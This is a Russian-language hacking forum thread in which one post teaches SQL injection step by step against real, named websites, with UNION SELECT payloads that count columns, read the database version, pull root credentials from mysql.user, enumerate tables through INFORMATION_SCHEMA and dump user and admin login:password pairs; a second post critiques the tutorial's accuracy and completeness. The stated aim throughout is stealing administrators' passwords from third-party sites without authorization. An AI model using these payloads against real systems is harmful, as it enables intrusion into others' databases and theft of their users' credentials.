Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor


Полный FAQ по SQL-инъекциям


  • Авторизуйтесь для ответа в теме
В теме одно сообщение

#1
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений

Полный ФАК по sql инъекции, пошагово с примерами


итак, привет всем, сегодня я хочу научить вас sql инъекции! итак приступим: СКЛ - это база данных, состоит из таблиц,в таблицах есть колонки, в колонках записи. для обнаружении иньекции нам нужно в переменную поставить одинарную кавычку, это самый простой способ обнаружения! для начате переходим по:
[hide=5]http://jcomm.uoregon...rofile.php?id=1[/hide]
это сайт с нъекцией, подставляем ''
[hide=5]http://jcomm.uoregon...rofile.php?id=1'[/hide]
видим ошибку Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\\'''' at line 1SELECT * FROM profile WHERE id = 1\\'' нас интересуют пароли админа, будем их добывать. для того что бы извлечь данные из таблицы нам нужно составить запрос. для этого нужно знать кол во столбцов, делается это при помощи функции order by
[hide=5]http://jcomm.uoregon...d=1 ORDER BY 99[/hide]
выскакиевает ошибка, это значит что столбцов меньше чем 99
[hide=5]http://jcomm.uoregon...id=1 ORDER BY 1[/hide]
ошибки нету, это значит что столбцов больше или равно 1
[hide=5]http://jcomm.uoregon...d=1 order by 24[/hide]
ошибка
[hide=5]http://jcomm.uoregon...d=1 order by 23[/hide]
нету ошибки, значит столбцов 23, теперь мы можем составить запрос. делается это при помощи union select
[hide=5]http://jcomm.uoregon...,11,12,13,14,15 ,16,17,18,19,20,21,22,23/*[/hide]
если вы заметили мы поставили вместо id=1, id=-1 т.к. тут нам нужно подставить несуществующий id. так вот, перейдя по ссылке мы видим циферки. далее нам нужно узнать версию БД, для этого нужно подставить version()
[hide=5]http://jcomm.uoregon...lect 1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23/*[/hide]
но мы видим ошибку Query failed: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ''UNION''SELECT это значит что данные вводяца не в той кодировке, так не всегда, но бывает. для решения проблемы мы должны применить функцию convert нам нужна кодировка latin1 для этого, заместо version() пишем convert(version()+using+latin1) и мы получаем версию: 4.1.13 это чертвёртая версия, лучше пятая, но о ней ниже. теперь пробуем извлечь данные из таблицы mysql.user, для этого в конце запроса ставим +from+mysql.user
[hide=5]http://jcomm.uoregon...,11,12,13,14,15 ,16,17,18,19,20,21,22,23+from+mysql.user/*[/hide]
убираем version() и ставим опять цифры ошибки нет, значит доступ к mysql.user открыт - это очень редко бывает. теперь нам надо узнать логин из этой базы для этого заместо одной из цифр пишем user, но тут нужно снова пименить convert получаем:
[hide=5]http://jcomm.uoregon...er using latin1),3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+ from+mysql.user/*[/hide]
логин root теперь за место user надо подставить password
[hide=5]http://jcomm.uoregon...rd using latin1),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23+from+mysql.user/*[/hide]
пароля тут нету :) это по дефолту. итак мы получили логин root, без пароля. теперь рассмотрим пятую версию.
[hide=5]http://expoelectrose.../index.php?id=1'[/hide]
подбираем кол-во столбцов:
[hide=5]http://expoelectrose...id=1 ORDER BY 8[/hide]
составляем запрос:
[hide=5]http://expoelectrose...2,3,4,5,6,7,8/*[/hide]
циферка 7, других нету, поэтому заместо неё и будем подставлять.
[hide=5]http://expoelectrose...,4,5,6,version(),8/*[/hide]
5.0.24-standard в пятой версии есть такая таблица - INFORMATION_SCHEMA.TABLES
[hide=5]http://expoelectrose... INFORMATION_SC HEMA.TABLES/*[/hide]
теперь надо поставить заместо 7 table_name - это колонка в таблице INFORMATION_SCHEMA.TABLES
[hide=5]http://expoelectrose...me,8 from INFOR MATION_SCHEMA.TABLES/*[/hide]
таблица INFORMATION_SCHEMA.TABLES - содержит в себе список все таблиц находящихся в БД колонка table_name выводит имя первой таблици в списке, для того чтобы вывести имя следующей таблицы используется LIMIT для этого пишем в конце запроса, после INFORMATION_SCHEMA.TABLES+limit+1,1, это выведет имя второй таблицы. INFORMATION_SCHEMA.TABLES+limit+2,1 - третей INFORMATION_SCHEMA.TABLES+limit+3,1 - четвёртой в это БД список таблиц заканчивается на 20 вроде, и нужные нам таблици не выводятся. теперь рассмотрим следующий сат, туту уже будет интереснее:
[hide=5]http://www.pressa.ne...l,3,4,5,6,7,8/*[/hide]
null вместо 2 стоит чтобы ничего не выводилось, можете поставить 2. делаем запрос:
[hide=5]http://www.pressa.ne...name from INFOR MATION_SCHEMA.TABLES+limit+0,1/*[/hide]
с помощью лимита можно узнать следующую таблицу, НО! если мы уберём лимит...ВУАЛЯ! мы видим список все таблиц!тут таблицы выводятся массивом берём нужную нам таблицу, пускай это будет user-третья с низу теперь нам нужно узнать имена колонок в этой таблице, для этого есть фича INFOTMATION_SCHEMA.COLUMNS соответственно заместо table_name ставим column_name
[hide=5]http://www.pressa.ne..._name from INFO RMATION_SCHEMA.COLUMNS/*
[/hide]
имён очень много, а нам нужно узнать имена в табличке юзер! для этого в конец запроса ставим +where+table_name=''user''
[hide=5]http://www.pressa.ne..._name from INFO RMATION_SCHEMA.COLUMNS+where+table_name=''user''/*[/hide]
вот имена колонок, нам нужны логин и пассворд =)
[hide=5]http://www.pressa.ne...gin from user/*[/hide]
это логины
[hide=5]http://www.pressa.ne...ord from user/*[/hide]
это пароли но чтобы было удобнее лучше следать так:
[hide=5]http://www.pressa.ne...t(login,char(58) ,password)+from+user/*[/hide]
мы использовали фичу contact а char(58) это ":"(двоеточие) думаю этого хватит, там есть и админы.
[hide=5]http://www.pressa.ne...t(login,char(58) ,password)+from+adin_user/*[/hide]
вот они, их таблица adin_user но их пароли зашифрованы md5 надеюсь вам понравилась моя статья. PS хайди расставлены чтобы все юзеры не накинулись на эти сайты, и они не пропали, ато будет статья без примеров.',

Автор: \6/


Ссылки из под хайдов не выдаю!


#2
profexer

profexer

    Бит

  • Members
  • 34 сообщений
1. В таблице есть не только колонки, но и строки. На пересечении строк и столбцов есть ячейка ("запись")
2. "для обнаружении иньекции нам нужно в переменную поставить одинарную кавычку" - скорее необходимо написать "одним из способ обнаружения", кроме того, говорится о одинарной кавычке, а подставляешь двойные кавычки.
3. Когда подбираешь количество колонок, ты нечего не говорил о завершении запроса началом комментария, а когда уже пишешь сформированный селект, то его используешь - это необходимо объяснить.
4. "циферка 7, других нету, поэтому заместо неё и будем подставлять." - что "циферка 7"? Напиши, что видим вывод цифры 7, это означает....
5. Напиши что такое version()
6. опиши структуру INFORMATION_SCHEMA перед его упоминанием в запросе
7. "null вместо 2 стоит чтобы ничего не выводилось" - так зачем там подставляют нулевое значение вместо числовых?
8. "+where+table_name=''user'' " а если фильтруются кавычки?
9. "фича" - это прибамбас на цепочке на джинсах, а "contact" - это функция (тоже самое и про информатион схема).

Я уже не говорю о использовании concat_ws, стандартных переменных среды, случаи если мускуль <5, ....
На "Полный ФАК по sql инъекции, пошагово с примерами" не как не тянет.

Читайте, товарищи, умные статьи, прежде чем писать свои!

PS
Некого не хотел обидеть, оскорбить или унизить, критиковал по-дружески.
Атору респект за попытку написания статьи и продвижения портала.


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных